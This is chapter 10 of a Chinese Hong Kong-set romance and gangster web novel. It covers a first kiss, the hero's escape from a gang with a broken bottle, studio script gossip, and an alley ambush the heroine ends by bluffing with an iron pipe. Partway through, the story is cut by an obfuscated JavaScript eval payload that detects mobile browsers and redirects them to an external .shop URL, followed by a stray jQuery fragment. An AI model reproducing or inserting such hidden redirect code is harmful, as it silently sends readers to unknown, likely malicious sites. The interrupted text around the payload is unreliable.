文趣网 > 其他小说 > 风华绝代[港风重生] > 10. 第 10 章
    他的脸好软。

    通常,浪漫连续剧里会感叹嘴唇的触感柔软,如幼鸟一啄,却不怎么提到面颊。温暖,细腻,加上他唇边残留的一丝丝甜味,使她想到面包或甜点。

    吻来得太快,只得一秒钟,来不及躲闪或迎合,头顶的树在手心中放了一朵花,下一秒就被风吹走。

    是真的发生过吗?

    “许小姐……”廖家卓的脸很快红了,不知所措,惯会说好听话的嘴巴打了结,笨口拙舌,不再灵巧。

    演出瞒天过海大龙凤的他,竟然手忙脚乱。见到她还在身边,美丽如幻境,一遍遍质问现在是不是在做梦。

    许风桦也不知该说什么,只剩一句真心话:“小心点。”

    “嗯,放心。我劲过他们的!”

    “讲大话。”许风桦逗他。

    “不是!信我吧……”他说话软绵绵的,清亮的眼珠变得湿漉漉,配上下垂的眼尾,可怜兮兮的。

    许风桦忍不住笑他:“傻傻的……”

    “什么?”

    “我说,你保重,我一定再来找你。”

    他连连摇头:“不用的,许小姐,你才要注意安全!快走吧!”

    “那,我走啦。再见!”

    许风桦转身,回眸一笑,没注意到,她自己也笑得很傻。

    -

    “哼哼……”

    廖家卓脚步轻快,面颊红红,嘴角没下来过。

    他要回去,是要回去,是要做什么来着?是舞厅里的空气缺乏氧气吗,是太多人饮了酒吗,怎么会有一种窒息而甜蜜的醉意正在弥漫。

    一号房的门开了,门口站着超仔,正咬着牙打算去找他。桌前站着阿皮,低着头涨红着脸和阿彪解释,说他只是被骗了。阿彪最生气,酒都喝不下了,只剩鼻子连连气喘。

    他轻飘飘走进去,自投罗网。

    所有人都在看着他。

    剑拔弩张,他咧嘴一笑。

    “你笑什么啊?许小姐呢?”阿彪见他回来了,倒是放心了。

    大概,他是为了邀功,真把许风桦请到别处了。不然,怎么敢大摇大摆走回来?

    “没什么。她走了。”他笑眯眯道。

    “走了?”阿彪的嘴巴张大了,好似在听人讲外语。

    不怪他,露出惊到显得傻的表情,所有听到这话的人都露出了这样的表情——事办砸了,态度还鬼这么差?还不跑?

    是不是颠了啊?

    “是。”他又笑了。

    这些人疑惑的表情,他看到了,却完全没看进脑子里,努力地憋着笑,嘴角一点没下来过,只得偷笑和偷笑得太开心两种状态。

    如果可以的话,他宁可站在门外站一夜,守住那个位置不动。

    越笑越灿烂,越想越开心,越回味越甜蜜,直教人受不了。

    阿彪忍不了了:“你笑屁啊!心情很好吗你?”

    “是啊。”他还真敢答。

    “什么?!”

    他有病吧?阿彪已经从疑惑,变成了怒火中烧。

    他在发什么颠啊?

    廖家卓叹了口气,压嘴角失败太多次,他耸耸肩。

    算罢啦,压不住就不压了。

    他眉眼含笑,轻盈地抄起一只长长的红色空酒瓶,向上一抛,轻巧接住。倒握瓶口,瓶底朝向桌子,砰的一声,砸碎到只剩半只,闪着锋利的光。

    没有任何人预料到。

    小弟瞬间围上去:“死人,你想干嘛!”

    “不干嘛。”他抄着半个酒瓶,灿烂地笑着,“还有事吗?我还有事,没事的话先走啰。”

    “斩死他!”

    他仍带着一脸的羞涩笑意,心沉浸在不为人知的甜美中,手上却丝毫不乱。十几人一起,竟然不能扑中他。

    他手里有利器,现在却没人带家伙。阿彪想直接抄酒瓶砸他,被他轻松躲开了,波仔和阿皮想搬凳子,差点砸到自己人。

    抓住混乱的一秒,给他一个机会,出了包厢门。再追出去,他不知所踪。

    “他什么来头?”阿彪脸色很差。

    超仔想了半天,脸色很差,挤出来弱弱一句:“不知道,只知道是叫卓仔。”

    他下手很巧,没有真伤到人,却让他们无力反击。待他脱身,他们才发现,他拿住只酒瓶,只是让他们忌惮,并没打算真见血。他一定练过,才有这样的本事,溜猴子一样溜他们。

    不过,这一晚上,他们的脑子里想的,其实并不是他怎么这么强。

    而是,他到底在爽什么啊?

    -

    “昨晚怎样!”米心心在无限台拉住许风桦,“那个叫我快走的靓仔,是你朋友吗?听说昨天差人去查时,他他已经不在了。幸好你没事……”

    “他逃掉了就好。”许风桦舒了口气。

    这一夜睡得并不安稳。她想打电话给差馆,又知道是于事无补,忍住了。未料到,他还真的有点本事。

    许风桦详细讲起雀仔瞒天过海,领她出门的事,听得米心心连连惊呼。

    “现在真是太危险了,以后我们不要去那条街了,要唱什么,就在台里食堂唱好了,或者上歌唱大赛,随便唱。”

    “不过,终究是要跑,搞不懂他为什么要回去?”许风桦叹气。

    米心心倒很能理解:“为了出名吧?”

    “出名?”

    “他耍了阿彪,黄星的人肯定知道他厉害,说不定提拔他啊。”

    “因为这个?”许风桦不太相信。

    他没有这样呆吧。为了播出头拼命,不像是他会做的事。

    “说起来,还有一种说法——”米心心神秘兮兮,“其实,阿彪已经把他办掉了……只是为了隐瞒,才说他跑掉。所以,差人们也在到处找他,看他也没有活着。”

    “什么?!”许风桦下意识惊呼。

    “不过,现在还没找到什么可疑物品,所以不用太担心啦!”

    “希望只是传言吧……说起来,你怎么知道这么多?”

    “都我特地问来的!以后写剧都用得上啊。现在什么片最火,还不是这些题材?”

    米心心感慨罢,被另一个编剧叫走,小声说了几句话,听不清是说什么。

    也没错。去年最爆的电影是一部枪战片,那些风光无限的主角都是混的,那位电影演员一下子成了炙手可热的大明星。但想起记忆中,廖先生是差人,还缺了一条腿,如果那些人要害他,她便不能接受。

    不过,按这道理,雀仔也是“坏人”啊。

    可是,他一直在做好事啊。

    许风桦在内心替他辩护。他大概有什么苦衷吧,例如……小时候被某个黄兴的人救过,所以不得不加入?不对不对,这不就是那些电影里面洗白坏人的常用桥段吗。

    还是等再见面,再去问问——

    “啊——”米心心一回来,便是一声哀嚎,打断了她的思绪。

    “怎么了?”

    “啊!是阿强的演员啊!”米心心压低声音,难掩激动,面容扭曲,“他临时辞演,说要拍电影啊,没有档期了!凡是他的戏份,都要删掉——我这两天都要和宝姐开死亡会议,再改剧本了……新的剧本,唉,不知道啊,要等这两天改好发给你们了。”

    于宝怡作为制片,会参与编剧工作,动不动就搞凌晨剧本会议。遇到这种突发状况,更是要看住编剧们赶工再赶工。

    “那我们不会再撞到头了吗?”

    “不会啊,撞头才是巧合啊。”米心心以为她在问剧本上的安排,“角色都不出现了,当然没法继续了。”

    许风桦不忍心:“其实我觉得这个情节蛮有趣的呢。”

    “没办法啊。”米心心叹气,心中亦可惜。

    此后,自无限台回深水埗,早晚巡逻。十日过后,她仍未搬家。这期间,佐伦道上有差人看守,安全很多,那帮北日的人不敢胡闹。

    周末路过卉丰花店,看到玫瑰花,许风桦忽发问,她为什么要亲他?

    爱?不,怎么算是爱?应该是心动吧。

    不是感激他,更像是被吸引,恰有一个合适的由头,可以做一个特别的举动。

    如果再见到他,应该说什么?那一晚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17812758|210932||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,没有时间寒暄,或是说几句改变关系的开场白。

    听说他没事,也要先见到他。

    不过,怎么在树上找一只麻雀?怎么在人群中找一个人?

    如果有他的号码就好了。等到了新家,她会把家里的旧电话簿带过去,在新的一页,加上他的号码。

    -

    “老板,我要这张。”

    音像店,傍晚八点,一个鬼鬼祟祟的年轻人捧着张唱片,走到店主面前结账。

    音像店老板是个阿叔,上了年纪,轻哼一声,心想算他识相。自从这戴黑帽的家伙进音像店,他就一直盯住他,一旦敢偷东西,绝对抓他一个现行。

    竟然没偷。让阿叔都有点浑身本领无处施展的小小不爽。

    那靓仔看着唱片的封面,竟忍不住笑,神经兮兮的。见他这样,阿叔满是嫌弃:“年纪轻轻,发什么花痴。”

    他不恼,只用拇指拂过唱片边缘:“不是每家店都有这张唱片的。”

    阿叔得意:“当然,我家是最全的!什么冷门精品都有的!当然,阿妈阿狗的唱片也是有的啦。”

    这种玉女歌手的唱片,当然不是冷门精品,也不至于阿妈阿狗,更像是在贩卖幻想。唱片封面这个穿裙子的靓女,爱上她的,全部买唱片,就可以听她对你唱两句情歌咯。

    “这张呢?还有没有,我都要了。”

    “当然有!”阿叔喜上眉梢,仔细端详这唱片,赶快改口,“不行了不行了,这唱片的公司都倒闭了,我上哪给你找啊!”

    “那没办法了。”他背了个黑色双肩书包,将唱片好好放在里面,才肯走出门,走出去的时候还左顾右盼,真是不像好人。

    虽然没偷,但应该是已经偷过了什么,现在正在躲差人。

    阿叔心中愈发肯定。

    廖家卓走出唱片店门,路过一家汽修店,晚风吹过来,他脚步一停,想起那一晚,想起唱片上她的脸,不禁分神片刻。

    身后,哪位路人的脚步声轻轻,呼吸声却很粗重,是在压抑着什么。

    不对!

    反应过来的一瞬间,左臂上已挨了重重一下。

    “冚家铲!”

    廖家卓跌进巷中,手撑着地面,向外看去。

    阿彪站在汽修店旁冷笑,被灯牌一照,浑身发着蓝光,似是漫画里进入特殊状态的战斗狂。

    他手中正抓着一把钢制汽修扳手,巨大,足有小臂长,打在人的身上,不死也半残。汽修店的工具桶就放在门口,里面有各式工具和零件,现在简直成了阿彪的武器库,这扳手是库中最沉最可怖的一样。

    他一步步向他走:“你怎么不笑了,啊?不是有很多高兴的事吗?”

    因为这个混蛋,这几日真不知是被找了多少麻烦!

    大佛是北日的老大,听说这事,暗暗敲打他,说他丢脸,他本就气不过。偏偏差佬还来找茬,问这个混蛋的下落,他一遍遍说这个混蛋跑了,差佬不相信,一遍遍问“真的?他跑了?你有怎么蠢吗?你们全都这么蠢吗?”

    真是气得他想砍人啊!

    阿彪攥紧扳手,高高举起,用足十成力气。廖家卓咬紧牙关,将背包甩在身后,预备着硬挨这一下,在他打下来时反击,还有逃跑的机会。

    然而,落下的前一秒,阿彪停住了。

    是什么东西抵在他背后——圆形,坚硬,渗出丝丝铁一般的凉意。现在,一个人站在他的身后。

    七哥手里有真家伙。

    半月前,独眼英被人救走。当时,他就怀疑是七哥现身,带了真家伙。如果现在,站在他背后的是七哥,那么就不是谁废了谁这样的小打小闹,而是人命。

    阿彪一动不动,甚至不敢回头。

    微弱月光下,廖家卓看得清清楚楚,心惊肉跳。

    此刻,阿彪背后的不是七哥,而是许风桦。

    她看着自己,双目如水,波澜不惊,幸得小巷昏暗,没有影子,未映出她的长发。她孤身一人,身形单薄,偏偏敢往前一步。

    她手里的,不是什么真家伙。

    不过一根铁管。